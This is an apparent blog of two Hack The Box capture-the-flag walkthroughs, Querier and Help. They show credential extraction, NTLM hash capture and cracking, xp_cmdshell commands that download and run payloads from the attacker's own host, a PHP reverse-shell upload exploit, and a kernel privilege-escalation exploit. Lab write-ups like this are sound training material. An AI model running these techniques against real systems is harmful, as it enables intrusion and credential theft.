Hack The Box – Querier

Let’s take a look at Querier, a machine from Hack The Box.
As we begin all boxes, let’s run an nmap scan.

nmap -sC -sV -oA nmap/querier
We have 4 open ports. Not the normal ones we would expect from HTB (normally i'd expect 22 and 80 as minimum)
Instead we have:
# Nmap 7.70 scan initiated Tue Apr 9 17:00:47 2019 as: nmap -sC -sV -oA nmap/querier
Nmap scan report for
Host is up (0.043s latency).
Not shown: 996 closed ports
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 14.00.1000.00
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-04-09T16:00:45
|_Not valid after: 2049-04-09T16:00:45
|_ssl-date: 2019-04-09T16:01:11+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| ms-sql-info:
| Version:
| name: Microsoft SQL Server
| number: 14.00.1000.00
| Product: Microsoft SQL Server
|_ TCP port: 1433
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-04-09 17:01:12
|_ start_date: N/A

So what do we really have here. We have ports 135, 139, 445 and 1433. Let’s go through them each:

  • 135 – Microsoft RPC (Remote Procedure Call)
  • 139 – NetBIOS
  • 445 – Microsoft DS (Directory Services)
  • 1433 – Microsoft SQL

So we have learnt something straight away, we are definitely looking at at a Windows box!

Nmap has given us loads of data from the SQL tree. We know that computer name, domain and product version (10.0.017763).

First off let’s take a look at this SQL server.

We are going to see if we can get anonymous access to the SQL server on the remote host. To do that we need to do:

mysql -u anonymous -p -h -P 1433

It prompts for a password, we just enter anything and we get an error:

ERROR 2013 (HY000): Lost connection to MySQL server at 'handshake: reading inital communication packet', system error: 104

Now, this is not an error I was expecting. I was expecting wrong creds or not allowed remote connection or something. A quick google suggests that this might be a firewall issue, so maybe we aren’t meant to be able to connect to the SQL database remotely.

Let’s park this for now, we still have a potential SMB share on port 445.

I wonder if we can get anonymous access into that

smbclient -L -U anonymolus

(Yes I mangled the work anonymous, turns out it didn’t matter. We can put any username here)

Again enter anything as the password, and this time. We get a list of shares available:

ADMIN$, C$ and IPC$ are normal shares that we would always see on an smbserver. Let’s try connecting to them anyway, just in case.

We don’t want to list the output anymore, so we drop the -L flag. We also need to add some more // for the server so we try:

smbclient //$ -U Yekki

smbclient //$ -U Yekki

We get a straight up permission denied on these

smbclient //$ -U Yekki

We get access. Interesting! However when we do a dir we get:


So the exciting one here is hopefully Reports.

Let’s go and see what’s in there!

smbclient // -U Yekki

Alright, we have a file. Let’s bring that over to our local box.

get "Currency Volume Report.xlsm"

That is now on our local box. Let’s see what we have in this file. I moved the file over to my windows box and had a look.

It’s urm, well it’s blank. There aren’t any hidden tabs.

The metadata tells us that the author is “Luis”

What we do know, is that it’s a macro enabled spreadsheet, so maybe there is some code. There are no macros.

Maybe there is more metadata that we can’t see in Excel.

Using a tool called exiftool we can extract the metadata. I think this is built into kali as per standard.

Moving the spreadsheet into a new folder, we run:

exiftool Currency\ Volume\ Report.xlsm

This prints out loads of information:

None of this is too new to us though. We knew it’s extension, we found out it was created by Luis.

I got quite lucky here. As the data showed it was deflated zip. I wondered what would happen if I unzipped it.

unzip 'Currency Volume Report.xlsm'

We get each part of the excel spreadsheet expanded:

I had a poke around all the files and what kept bothering me is why is this a .xlsm without a macro, so when there was a file called “vbaProject.bin” I thought i’d do a strings on that, and I think I got lucky here:

A mention of SQL Server.

So, we now potentially have some creds:

Uid: reporting

PWd: PcwTWTHRwryjc$c6

So let’s head back over the SQL server and see if these creds work.

mysql -u reporting -p -h -P 1433

We enter the password. Same error as before:

ERROR 2013 (HY000): Lost connection to MySQL server at 'handshake: reading inital communication packet', system error: 104

So maybe, there is an issue with out connection method. Or the box is broken. Let’s assume the former but keep trying in case of the latter.

I did a lot of searching and after getting all the posts with people with issues. I found a gem, it looks like impacket has a mssqlclient module. This would be worth trying.

We run the help to get the flags that we need:

positional arguments:
target [[domain/]username[:password]@]<targetName or address>

So we try:

./mssqlclient.py HTB/reporter:PcwTWTHRwryjc$c6@

Error, login failed. Let’s try without the domain.

Login failed again.

You’ve no doubt seen what I did. I am using the user “reporter” not “reporting”. Let’s fix that and try again!

Same result. Login failing!

Looking at the error on google, it appears to be a firewall or connection error. Maybe this SQL server is only available via and we need another method to get a shell on the box.

Let’s go back to the start, what other ports are open?

  • 135
  • 139
  • 445
  • 1433
  • 5985
  • 47001
  • 49664 – 49671

Ok, 5985 is wsman and 47001 is winrm. Let’s see what these are!

Wsman is Windows Server Management and Powershell. This could be big! There is a metasploit module available but before we deep dive there. What the heck is this?

So it’s a way to remotely control your server, to check logs and make changes. It runs over port 5985 and allows log in via a webpage. Maybe.

Lets head over to and

Both return a Not Found. There looks like it might be a subdirectory called /winrm or /wsman.

Again both Not Found. I’ll run a dirb on them anyway! Rather than a dirb, I decided to use gobuster.

gobuster -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 

gobuster -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Let’s leave those running in the background!

In all honesty, I’m stuck. This is a fair few hours now, I’ve looked through various stuff and I keep coming back to it’s a mysql authentication issue, or a connection issue.

But I don’t know what else to try, so are there other ways to authenticate to mysql?

Or is it that the password has a frikkin special character in it?

I’ve done a whole bunch of googling and there can be problem with special characters in impacket, which we what we are using.

So rather than adding the password in the command line, remove it from there and put it in when prompted.

./mssqlclient.py HTB/reporting@

Fuck. Just for reference. This is now ~3-4 hours on trying to log in via SQL using the credentials we found pretty darn quickly. If this took you ages, don’t feel bad! If you did it straight away, you are a prick 🙂

So, now I have vented that! Let’s carry on trying.

Going back to the exfil tool we used. There is potentially slightly more that we missed first time around. Let’s get the output and clean it up slightly.

strings vbaProject.bin > ../../vbaproject.txt

After taking out all the line breaks, we get another bit of output:

Dr={SQL Server=QUERIER;@Bsted_G#=no;D@;Uid<;Pwd=PcwTWTHRwryjc$c6

Let’s compare that to the original:

Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6

So the password is the same, and the UID is “<” that doesn’t seem right!

That’s just madness, a thought just came to me. How can I check if the reporting user and password are correct?

Can I connect to smb with those details?

The first is using the password above. The second is with hello. As we can see, the user and password are correct. I tried another smbclient -L for list. We didn’t get access to anymore directories.

So we now know, that we have the correct username and password. We also know that this is a windows account.

Looking at the impacket mysqlclient help we see:

-windows-auth whether or not to use Windows Authentication (default False)

Lets give it a go with windows auth:

We are an untrusted domain. This is a success, it’s a new error, we can find out how to solve this!

This error hasn’t been the easy win I expected. I realised we can also specific the db with -db

We know from the vba that the db is volume

./mssqlclient.py -db volume HTB/reporting:’PcwTWTHRwryjc$c6’@

Same error!

Our gobusters have finished. Nothing to find on either of those ports via that method….

<————6 days later————————->

So, I’ve had a bit of a break, come back from the edge.

Let’s see what’s going on! we run the same commands and without surprise, we get the exact same results.

Maybe the domain is wrong?

Trying with HTB.local/ and QUERIER we continue to get the same error:

[-] ERROR(QUERIER): Line 1: Login failed for user 'reporting'.

With the errors we are getting, I feel the closest with the untrusted domain error. Let’s start there.

Running the debug flag against all of it doesn’t bring back any clues. I think we have the right creds, it’s just maybe we are trying to use them in the wrong way.

OMG, so after many a hour, of being stuck! I had the idea that it must be a different domain, it was the only thing that made sense. But, I tried other domains earlier right?

Well, I made a spelling mistake!


./mssqlclient.py -windows-auth QUERIER/reporting@ -debug

Full success!

Pentestmonkey has a create mssql cheat sheet which can be found here: http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

Using this we can look at what databases and users are available.

SELECT name FROM master..syslogins

SELECT name FROM master..sysdatabases;

So under users we have sa and the reporting that we connected in as.

For databases, we have a few, the interesting one is volume, which we saw earlier.

Let’s see if we can see the tables in volume. Turns out msssql is a right faff in terms of syntax. I think i’ll stick to mysql personally!

So for tables in volume:

SELECT name FROM master..sysobjects WHERE xtype='U';

We get a few results:

I don’t expect there to be much in here, but let’s see if any columns look like passwords!

Using the command:

SELECT name FROM master..syscolumns WHERE name = 'trace_xe_action_map';

changing trace_xe_action_map to each table. They all look empty. So we can’t get anything from here.

So it looks like the SQL database is effectively empty, so that leads to only 1 proper conclusion. The SQL database is there to allow you access onto the box, it might not be a shell, but we are interacting directly on the box.

What we therefore need, is some sort of code execution on the base OS to allow us to upgrade to a shell.

As it’s windows, ideally i’ll use the PoshC2 framework for my reverse shell as that gives me easy access to a whole bunch of enumeration and exploitation tools right off the bat. But before we get into all of that.

Having a google of windows code execution via mssql, we find a fair few resources. A lot of them point to something called:

exec xp_cmdshell

This looks to be a process that allows the running of commands within cmd. This allows the SQL database to do more automated tasks and is helpful all round, let’s hope especially when it comes to getting a shell!

I’ve found a website on how to use xp_cmdshell: https://www.sqlshack.com/use-xp-cmdshell-extended-procedure/

It looks like we don’t get any responce on screen doing any command, i.e:

xp_cmdshell 'whoami'

Returns nothing on screen. So how can we test if this is working, in the simplist way?

Let’s try pinging our kali box, and see if the command gets run. So, first up we need to set up tcpdump to listen to all traffic incoming to our kali box via the tun0 interface (our VPN to hackthebox)

tcpdump -i tun0

Once this is up and running, let’s try pinging. I tried a couple of different syntax as checks:

Absolutely nothing. So 3 options here, either xp_cmdshell isn’t enabled on this box, I have the syntax/usage wrong or my tcpdump isn’t working.

The last is easiest to check, so I do the reverse and do a ping from my kali to Querier. As you can see, tcpdump is working!

So, now we are down to 2 options.

Looking at OWASP, it tells us that xp_cmdshell is disabled by default from 2005 onwards. So maybe we need to enable it first.

Luckily OWASP tells us how to do that!

master..sp_configure 'show advanced options',1
master..sp_configure 'xp_cmdshell',1

So this is firstly enabling the advanced options so we can select them by setting a value of 1. Then configuring xp_cmdshell to have a value of 1 so it will also work.

Running that, then our ping, we get…

Still nothing. Hmmm!

Further down the OWASP page there is another syntax for xp_cmdshell which is:

exec master..xp_cmdshell 'ping';--

We shouldn't need the last part, as we aren't injecting into the SQL database, we are already in! So let's try
exec master..xp_cmdshell 'ping'

There is a possibility that pings are banned via a firewall. Shall we try downloading a basic webpage and seeing if we get any traffic.

Lets set up a python simpleHTTP Server:

python -m SimpleHTTPServer 9001

We have the sql.txt file in that directory, so let’s try and grab that.

We can’t use cmd for this, it must be powershell using the Invoke Web Request function:

xp_cmdshell 'powershell -command "Invoke-WebRequest"'

EXEC xp_cmdshell 'powershell -command "Invoke-WebRequest"'

And no hits on our web server.

As a sanity check I checked the powershell command and that is correct. So no chance that it’s the issue here.

I checked that something stupid like “exit” wouldn’t work in dropping me into a shell. It was a long shot and it didn’t, but when I reconnected into the database, I saw something that took my interest:

So let’s see if there is anything useful in there:

So shall we try:


Oh balls!

SQL> enable_xp_cmdshell
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
[-] ERROR(QUERIER): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.

So let’s try to enable it.

SQL> master..sp_configure 'show advanced options',1
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.


I’m getting a lot more requests back on my tun0 tcpdump, but I’m not sure they are the pings I think they are as I’m running things. So, as a check let’s see if we can download a file again:

SQL> xp_cmdshell {powershell -command "Invoke-WebRequest"}
[-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.

No hits sadly.

Oh wait, I need to define the port

xp_cmdshell {powershell -command "Invoke-WebRequest"}
[-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.

Again, no hits. I don’t think it is executing. So, maybe one of the other help items would help.

Having a go with sp_start_job didn’t achieve much.

However, I then tried !

! ping

With the result of:

So, shall we see if we can do any sort of webrequest.

SQL> ! powershell -command "Invoke-webRequest"
sh: 1: powershell: not found


However, do we need a shell? Can we see what user folders there are then just read the flag?

! dir C:\Users

Sadly, no such file or directory.
It’s almost as if, we are in a sort of mssql docker. It’s a local shell, so it will do things within the SQL instance, but can’t access the underlying OS.

This might not be the best way to do this.

However, using sp_start_job or ! maybe we can up my permissions within the sql database, so I can then enable_xp_cmdshell.

So let’s back up slightly, and see what permissions my user has. I realised at this point I completely forgot what user I was! So I did


We are the user reporting. Of course I knew that, but this box has fryed me and we don’t even have user yet!

Finding out our current permissions is also straight forward:

SELECT * FROM fn_my_permissions(NULL, 'SERVER');

We have 2 permissions:


Ok, cool, so we know we don’t have permission to enable cmdshell. So upping our permissions is next.

I’ve also just released that using the ! does a local shell command, so that’s a command on my kali box. Not sure why I’d need that, but maybe it will be obvious.

So let’s see what permissions other users have, what other users are there? Earlier we did:

SELECT name FROM master..syslogins

Found 2 results, us and “sa”

Lets see if we can find the permissions for sa.

Well this has turned out tricky, the previous command uses “fn_my_permissions” and I can’t find another method without using the GUI that we don’t have access to.

There is of course another way, which was used on Giddy. Can I get access as a different user?

I say “of course” as if I thought of it. I’d never have got this if it wasn’t for hints on the forum!

The theory behind this is we use something called xp_dirtree which allows a connection out of the mssql database back to our host. Then using responder we capture the NTLM hash and crack it. That’s how it worked in giddy, let’s see if we can achieve anything!

So, firstly looking at this cheat sheet: https://www.gracefulsecurity.com/sql-injection-cheat-sheet-mssql/

We have the out of band retrival. The code from the site for this is changed slightly and we end up with:

declare @q varchar(200) set @q='\\\Hello' exec master.dbo.xp_dirtree @q;

What this is doing is setting @q to be a string with max characters of 200.

Then we set q to our box IP with any folder

Then we execute the dirtree command with the function of q.

At the same time, we set up a nc on port 445 (smb port).

Let’s run the command and we get:

DATA! Ok, what this means is we have the SQL database sending data to our kali host.

Now, the way xp_dirtree works, is it exectues at the system level, not the user level. So whoever the system user is, runs the command. So using a tool called responder, we can get the NTLM hash of that user!

So starting responder on our VPN interface

responder -I tun0

We run the same command again

We have a new user QUERIER\mssql-svc and a hash.

Let’s see if we can crack this hash. Usually I would go to haskiller or hashcracker websites. But today, I feel I should try and use hashcat as I’m sure there will be a point where I need to crack hashes locally.

We know it is NTLMv2, so lets copy that entire hash (including the username) into a new file.

Then looking at hashcat help we can grep for NTLM

root@oblivion:~/Documents/htb/Querier# hashcat -h | grep -i ntlm
5500 | NetNTLMv1 | Network Protocols
5500 | NetNTLMv1+ESS | Network Protocols
5600 | NetNTLMv2 | Network Protocols
1000 | NTLM | Operating Systems

So we know we want 5600.

Our syntax with then be

hashcat -m 5600 mssql-svc.hash /usr/share/wordlists/rockyou.txt --force

The force is due to it being a VM. It’s better to run it on a bare metal with a decent graphics card but we have what we have.

Even so, in a VM it took maybe 20 seconds and we have a result

So we have a password: corporate568

Let’s try using the creds to log into the SQL server:

./mssqlclient.py -windows-auth QUERIER/mssql-svc@

And we are in!

Now, shall we try the same commands as earlier!


This time we get a better result!

So let’s try a basic whoami.

It works! A few more commands and look what we have!

So exciting! It’s been days but it’s been well worthwhile!

Getting a Shell

Let’s see if we can get a reverse shell! Let’s use PoshC2, it might be a bit extreme, but why not!

(I missed a step, we need to edit the config file — see below for details)

Firstly, let’s create our PoshC2 server

python /opt/PoshC2_Python/C2Server.py

A whole heap of payloads are created, but we will just try and use the exection via Command Prompt

Before we use that though, we need to start the implant handler. In a new window we run:

python /opt/PoshC2_Python/ImplantHandler.py

Going back into the MSSQL database and pasting the code, ended up in a massive heap of errors. So that was a no go.

Instead, we will use the .hta file which we will upload to our webserver.

First we copy the exploit

cp /opt/PoshC2_Project/payloads/Launcher.hta .

Then host it on a python webserver

python -m SimpleHTTPServer 9005

On the SQL server we then try to invoke the web-request

xp_cmdshell powershell -command "Invoke-WebRequest"

We get a hit on our webserver, that’s good news! Unfortunatly our implant doesn’t seem to work.

This is because we didn’t change the config before we created the C2Server so it’s all pointing at the wrong place

We need to edit this config file /opt/PoshC2_Python/Config.py to add in our IP

So we then re-create the Server and copy the new hta file across.

Re-running the command on the SQL Server. We get another hit. Sadly, no shell.

Let’s try downloading then running a .exe.

cp /opt/PoshC2_Project/payloads/Sharp.exe .

We want to download this to the temp directory, then run it. So to download it we need to do

xp_cmdshell powershell -command "Invoke-WebRequest -Uri "" -OutFile "C:\temp\yekki.exe""

Ooooh, there it is!

Let’s run it!

xp_cmdshell C:\temp\yekki.exe

Again, it doesn’t appear to create an Implant. This is very odd!

Instead of pounding my head there, we can do some basic recon.

Let’s learn about the box. Firstly, what is the OS? Well we can use systeminfo which spits out a whole heap of stuff. Instead I found a findstr that works well with it:

xp_cmdshell systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

We are looking at Server 2019 Standard. Version 10.0.17763.  This is new, it’s not going to be a OS exploit, so must be either a program or a misconfiguration.

Looking at ipconfig, there is only the 1 IP address.

Next we see what is running:

xp_cmdshell tasklist

There is a lot running, including a bunch of powershells and yekki.exe. I wonder why our reverse shells didn’t work. Firewall rules maybe?

Other than those, I can’t see anything that’s all too exciting yet!

Next up is running services:

xp_cmdshell net start

Again, nothing really stands out there!

I have done a whole bunch of enumeration and not found anything that has stood out.

I know there are a few tools to help with this, one of which is PowerUp. Let’s try that. We need to get it from it’s git repo

xp_cmdshell powershell -command "Invoke-WebRequest -Uri "https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1" -OutFile "C:\temp\Mushrooms.ps1""

---This is where I stopped. I think I got tired and meant to come back to it, unfortunately I never did and now it's been retired!---

After watching ippsecs video, if I had run powerup, I would have got the answer and it was an easy step from there to the root flag! Never mind eh!

Hack The Box – Help!

Running nmap get 3 results:

Looking at the webpage on port 80:

Looks like nothing is there, just the default. Let’s add the ip and hostname (help.htb) into our hosts file and see if anything changes. It does not, no clever host routing.

Let’s run a dirb on it anyway!

While that is running, lets look at port 3000.

Very cryptic.While we think about that, let’s run a dirb on this too.

It looks like some sort of JSON/Javascript applet. We need to work out a query, how do we even submit a JSON query? That is something we will have to find out!

Looks like we got some results from the dirb on port 80:

Let’s go take a look at Support.

So that’s a helpdeskz. What would be great is to find a version. Looking at their github page: https://github.com/evolutionscript/HelpDeskZ-1.0

We see that there might be a readme.html file.

Yes, it’s there!! Looks like the version is 1.0.2.

There doesn’t seem to be a changelog, so I can’t see what happened in v1.0.1.

Looking through the readme, we find the way to set this up. This is found at /support/?v=staff

There are now 2 areas that allow us to login, we just need some creds to try out! Maybe these are the ones we need to get from port 3000.

Our dirb on port 3000 came back with nothing. Looks like we have to work out how to make that request.

First of all lets capture the page in Burp and see if we get any options.

Well that’s not a whole lot of information is it!

Let’s instead begin with what we know. We knows its some sort of javascript. The nmap scan tells us its Node.js Express framework. This might be enough, a quick google shows a few results on what we can try. So let’s give attempt #1 a go. (I expect there will be many attempts)

What I think we need to do, is make requests, until something pops, so first up:"admin"

Ok, we get a reply

Cannot GET /username

Is that good? Honestly. Not sure. But let’s think about what the message was:

"Hi Shiv, To get access please find the credentials with given query"

I guess we are making a query, we just have absolutely 0 idea of any parameters.

Trying a few obvious ones:

  • admin
  • index
  • helpdesk
  • helpdeskz
  • help
  • hackthebox

All of these come back with the same “Cannot GET /<variable>”

The only thing we did have earlier, was the If-None-Match which matches the ETag when we load the webpage.

Guess what. Cannot GET!

Ok, so I am completely like 100% baffled at what the heck is going on here. So maybe lets park this.

Heading back over to port 80, can be do anything here? SQLInjection maybe?

Looking at the site we have things like this:

Let’s put these through SQLMap and see if anything pops.

sqlmap -u ""


sqlmap -u ""

Again SQLMap comes back with not looking to be injectable.

I’m still a bit lost and feel that we should use port 3000, but maybe that’s just a horrific rabbithole? Who knows. I’m sure ippsec will tell us!

I remembered a tool that I haven’t used yet, good old searchsploit. Looking at HelpDeskZ we get:

Ok, let’s take a look at this.

It looks like we can upload .php-files. The exploit gives us the steps to reproduce, so let’s try that.

Steps to reproduce:


Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.

So, we head over and go to submit a ticket, we fill in all the mandatory fields:

We now need to upload a file. Lets hop over to pentestmonkey reverse shell cheat sheets (http://pentestmonkey.net/tools/web-shells/php-reverse-shell)

Download the file and untar it:

tar -zxvf php-reverse-shell-1.0.tar.gz

Now we move it into our working folder and edit the columns we need to:

These options are near the top of the script!

I also changed the name from reverse.php to yekki.php. This is in case anyone else is doing the same thing, I don’t want to give them free shells.

Before we upload this, let’s get a listener on port 9005

nc -nvlp 9005

We will leave that running on a separate tmux tab and submit the ticket.

This returned an error:

This means that the program is doing some sort of extension checking on our uploads, maybe.

Let’s test this theory by changing it to .jpg and trying to upload it again.

That time our ticket submitted.

I tried running the script anyway and it errored out all over the place. So we now have 2 things to work on!

First, let’s try and sort out this file upload. Heading over to github, let’s clone helpdeskz and see if we can work out what checks it is doing on file uploads.

Doing a grep on the directory, we find that all the html sites appear to be in views/client

There are 3 for submit tickets, let’s go take a look at each of these.

None of these seem to show any extension banning. Let’s head to root and do a grep for the error message

grep -iR "file is not allowed"

We get a hit:

Opening this we get:

$LANG['FILE_NOT_ALLOWED'] = 'File is not allowed.';

So we need to find the first part of this in the code, which then goes into each language page to get the response in the correct language for that set up.

We get 2 more hits:

controllers/submit_ticket_controller.php: $error_msg = $LANG['FILE_NOT_ALLOWED'];
controllers/view_tickets_controller.php: $error_msg = $LANG['FILE_NOT_ALLOWED'];

Lets take a look at the submit tickets controller first.

This is long, so I’ll only include the relevant part:

Case ‘2’ looks to do something within the file verification module. It still doesn’t appear to give us a list of banned extensions.

After a bit more hunting, I found the functions.php script. This has a bit more information:

Within the install file, we have a list to go into the file_types table:

So php is on that list, but as is jpg. So let’s try a zip file and see what happens. We again get file is not allowed.

Trying a few more, we keep getting the same result. So, this makes sense that it is the file exclusion list.

So how can we get around this?

Oddly, jpg worked didn’t it? Let’s double check that.

It does, but jpg is in our exclusions list. Let’s try jpeg. That also worked. How strange. They are both on our restricted list.

So, let’s see if we can find out jpg at all. Again looking at the program, I think any uploads would go to /uploads/tickets

Going to this on a browser just takes me back to the main page. Not ideal.

Now that we know we are interested in Support, let’s run another dirb on this:

dirb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Maybe this will help us out a little bit.

While that was running, I took another look at the source code and found a few things:

$uploaddir = UPLOAD_DIR.'tickets/';

We know now the upload directory, which will be useful later if we can exploit this.

$filename = md5($_FILES['attachment']['name'].time()).".".$ext;

This one is interesting, it does something with .time() which is current time. Then adds the $ext.

So when we run our exploit, we will have to tell it that the file name will include the current time.

Really what we need to work out is extension bypassing. Googling that brings up an interesting idea, using double extensions. We can assume the check is being done on everything from <filename>.extension so it’s catching .php. What if we tried adding another extension before that, so a .jpg.php

The file would still be .php as thats the last extension, but if the check only checks the first one, we might get lucky.

Lets copy our file and make it yekki.jpg.php (we know jpg is allowed, as we did those checks earlier).

We continue to get file is not allowed. If we change it round, so yekki.php.jpg

Success! So the filter was checking on the last extension.

We also know that the code rewrites the “.$ext” when it renames the file, so fingers crossed this will use the first one, as in .php.

Let’s give the script a run and see if we get any success.

It errors out with file not found. I’m not surprised, let’s be honest we really don’t understand what this is doing.

Failing to install a local copy of helpdeskz

What’s the best way to learn how something works? Having all the information. We can do that, by setting up our own instance and running the same things and seeing what the output is.

Is it annoying? Yes. Will it get us the answer and be worth the time? Hopefully!

Now, what I don’t really want, is an instance of helpdeskz installed on my kali system, let’s boot up a temporary Ubuntu system and version 1.0.2 of helpdeskz to mirror what we are seeing on the box.

So first off, we clone the Helpdeskz package from git hub again

git clone https://github.com/evolutionscript/HelpDeskZ-1.0

I’ve got apache running, so I go the www folder and make a new directory called support

cd /var/www/html

mkdir support

cp /home/yekki/HelpdeskZ-1.0/* /var/www/html/support

We need to make the file owned and edited by wwwdata so that Apache can do what it needs to.

sudo chown -R www-data html/

sudo chgrp -R www-data html/

Now we open up a browser and go to

We get the install prompt:

We follow the installer, adding in database names and username and passwords:

We get redirected to /install/install.php which unfortunately stays blank!

For some reason the installer didn’t install. I could troubleshoot this, but it could take hours and to be honest, I really can’t be bothered.

Faffing with Python

So, let’s just go over what we know. What errors we have had.

One big question, do we even know if the script is getting to the webpage? The output we get is some rubbish then it stalls.

So let’s add some comments in after each step to make sure that the script is actually completing each steps.

To print a line in python we use:

print 'text'

So I’ve changed the top of the script to:

print 'starting' 
import hashlib
print 'hashlib imported' 
import time
print 'time imported' 
import sys
print 'sys imported' 
import requests
print 'requests imported'

Let’s see if all these get imported properly.

Well that is unexpected, but at least our no such file or directory might make sense.

So a bit more googling for a classic Hello World python program. For python3 we need to use:

print ("Text")

Let’s try this and we will run it with python3 with all the prints changed to print (“text”)

Ok, slightly closer maybe! Different error at least.

Let’s re-get the unedited exploit and run it with python3 just off the bat! An error:

 File "40300.py", line 36
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
SyntaxError: Missing parentheses in call to 'print'. Did you mean print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')?

So, whatever I try here. I get python errors. For fucks sake!

So, taking a new version of the exploit, putting () round all of the print options:

Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
Traceback (most recent call last):
File "40300.py", line 49, in <module>
md5hash = hashlib.md5(plaintext).hexdigest()
TypeError: Unicode-objects must be encoded before hashing

So line 49 is creating the md5hash.

Next step, we tried the version on our kali box. Maybe a fresh download would work. Heading over to google we get the code and put it into a new file

Again, let’s add some () around all the prints.

Running it in python3 again errors. Flippin heck!

Through anger, I tried running it through python as standard again:

Success! It didn’t find anything but that doesn’t matter. The script ran through!

Back on Track!

Let’s try again with our .jpg image. See if we can locate where the right upload folder is. Let’s start with just /support/


Let’s add in support/uploads/


Let’s add in support/uploads/tickets/

Still no good. Fuck!

One of these must be right! Thinking about it though, the exploit script looks for .php files doesn’t it!

 url = helpdeskzBaseUrl+md5hash+'.php'

What if we change this, to look for a .png file?

url = helpdeskzBaseUrl+md5hash+'.png'


So we know for a fact, that the files get uploaded to /support/uploads/tickets/

It’s also important that in our directory when running the script, we add the following “/” otherwise it doesn’t work!

So, let’s try uploading a php reverse shell and see what we get! We still get the File is not allowed error message. Let’s try it anyway and deal with extensions later if needed.

First of all, go back into the script and change the extension back to .php

python exploit-dl.py yekki.php

Also get your listener running!

nc -nvlp 9005

OMG! We are in! This is so exciting!

So what have we really learnt up until this point?! Check that scripts work, if the error message isn’t in the script (which I knew early on) don’t just keep trying things. Stop think about it, do something to check where the script is getting to and what is happening!

Anyway, to continue.

Let’s get a better shell:

python -c 'import pty;pty.spawn("/bin/bash")'

Now lets head over to the /home directory. There is only 1 user, help, which is who we are.

A quick ls and look at that:

A user flag! Yes!

If it wasn’t for the python issues, we would have got here pretty quickly. It was just a straight CVE. Working out where uploads go, ignoring error messages (still odd) and we were there.

Priv Esc

Shall we have a go for root?!

First, let’s get LinEnum onto the box and running.

Using the python SimpleHTTPServer to host it on my box:

python -m SimpleHTTPServer 8005

Then a wget to download it on the remote box


Let’s give it executable powers

chmod +x LinEmum.sh

And let it run.

Looks like we are an admin user. Also we might be able to sudo

So, let’s see if we can sudo:

We can, but we need a password.

Shall we see if we can find one, maybe from what was on port 3000. Or from the database that was needed to be set up for helpdeskz.

From our earlier faffing with trying to install it, we learnt that most things are in /support/includes/config.php

Looking there:

Shall we try helpme as a sudo password.

Sadly not.

As a bit of an aside, the program really doesn’t stop .php files from being uploaded:

Anyway, back to root hunting.

So we have a database username and password.Let’s go into there and see what we can find.

mysql -u root -p

Enter the password and we have a few databases

We know the database is called support. So let’s jump in there.

USE support;

We get a list of the tables


Under users are the users that have been created, so I appear there a few times:

This doesn’t seem too useful, however the staff table might be:

There is an admin password. Let’s see if we can crack that.

Going to hashkiller.co.uk we crack the hash.

The password is Welcome1

Let’s try that on the staff login on helpdeskz. It worked!

So, let’s try

su -

The password Welcome1 doesn’t work for that. Annoying.

Also it’s just dawned on me, I didn’t even try to brute force this login area, which would have been done easily with rockyou.

Anyway, back to priv esc.

The box got reset and I wondered if ssh would work with the Welcome1 password.

It did. we have ssh access that’s useful.

So we know 100% that the password for help is Welcome1. Unfortunately we aren’t in the sudoers group.

Looking in the home directory, there is bash_history. Let’s take a look in there:

This looks like the set up commands. Touching bash_history is an odd one.

The 2 commands, su then what could be a password look interesting. Let’s try that

Authentication Failed.

Ok, re-running LinEnum for any more clues, as I’m not getting too far here. This time I ran it with the flag -t for thorough tests.

Still not a huge amount that I understand to be vulnerable. Let’s get the linux-exploit-suggester script (https://github.com/mzet-/linux-exploit-suggester )

Running this, we get some results. One of the suggestions is dirtycow & dirtycow2 another is eBPF_verifier.

Before I start running down these methods, let’s see the really look at this Ubuntu version.

lsb_release -a

Distributor ID: Ubuntu
Description: Ubuntu 16.04.5 LTS
Release: 16.04
Codename: xenial
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

So, if we google those build versions, both and 16.04.5 with local priv esc. The top result is this one: https://www.exploit-db.com/exploits/44298

We download this onto our box and move it across using SimpleHTTPServer as usual.

Then we need to rename it to be .c then compile is using:

gcc 44298.c –o yekki

This has created an executable called yekki. We run this and:

A quick whoami confirms that we are root.

Literally no idea what it does, some sort of buffer overflow would be the assumption. I will try to look into this at a later date!

We can then get the root flag:

Well. What a journey!

This box was pretty straightforward, if it hadn’t been for the python issues, this would have been quick. However as it was, it took a while, but we got both user and root.

